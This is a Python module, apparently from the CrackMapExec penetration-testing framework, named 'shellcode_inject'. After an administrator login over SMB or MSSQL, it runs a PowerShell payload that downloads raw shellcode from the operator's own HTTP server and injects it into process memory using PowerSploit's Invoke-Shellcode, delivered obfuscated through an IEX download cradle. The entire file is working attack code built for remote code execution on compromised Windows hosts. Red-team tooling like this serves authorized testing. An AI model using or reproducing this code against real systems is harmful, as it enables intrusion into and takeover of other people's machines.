75 lines
2.7 KiB
Python
75 lines
2.7 KiB
Python
from cme.helpers.powershell import *
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from sys import exit
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import os
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class CMEModule:
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'''
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Downloads the specified raw shellcode and injects it into memory using PowerSploit's Invoke-Shellcode.ps1 script
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Module by @byt3bl33d3r
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'''
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name = 'shellcode_inject'
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description = "Downloads the specified raw shellcode and injects it into memory"
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supported_protocols = ['mssql', 'smb']
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opsec_safe = True
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multiple_hosts = True
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def options(self, context, module_options):
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'''
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PATH Path to the file containing raw shellcode to inject
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PROCID Process ID to inject into (default: current powershell process)
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'''
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if not 'PATH' in module_options:
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context.log.error('PATH option is required!')
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exit(1)
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self.shellcode_path = os.path.expanduser(module_options['PATH'])
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if not os.path.exists(self.shellcode_path):
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context.log.error('Invalid path to shellcode!')
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exit(1)
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self.procid = None
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if 'PROCID' in module_options.keys():
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self.procid = module_options['PROCID']
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self.ps_script = obfs_ps_script('powersploit/CodeExecution/Invoke-Shellcode.ps1')
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def on_admin_login(self, context, connection):
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payload = """
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$WebClient = New-Object System.Net.WebClient;
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[Byte[]]$bytes = $WebClient.DownloadData('{server}://{addr}:{port}/{shellcode}');
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Invoke-Shellcode -Force -Shellcode $bytes""".format(server=context.server,
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port=context.server_port,
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addr=context.localip,
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shellcode=os.path.basename(self.shellcode_path))
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if self.procid:
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payload += ' -ProcessID {}'.format(self.procid)
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launcher = gen_ps_iex_cradle(context, 'Invoke-Shellcode.ps1', payload, post_back=False)
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connection.ps_execute(launcher, force_ps32=True)
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context.log.success('Executed payload')
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def on_request(self, context, request):
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if 'Invoke-Shellcode.ps1' == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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request.wfile.write(self.ps_script.encode())
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elif os.path.basename(self.shellcode_path) == request.path[1:]:
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request.send_response(200)
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request.end_headers()
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with open(self.shellcode_path, 'rb') as shellcode:
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request.wfile.write(shellcode.read())
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#Target has the shellcode, stop tracking the host
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request.stop_tracking_host()
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else:
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request.send_response(404)
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request.end_headers() |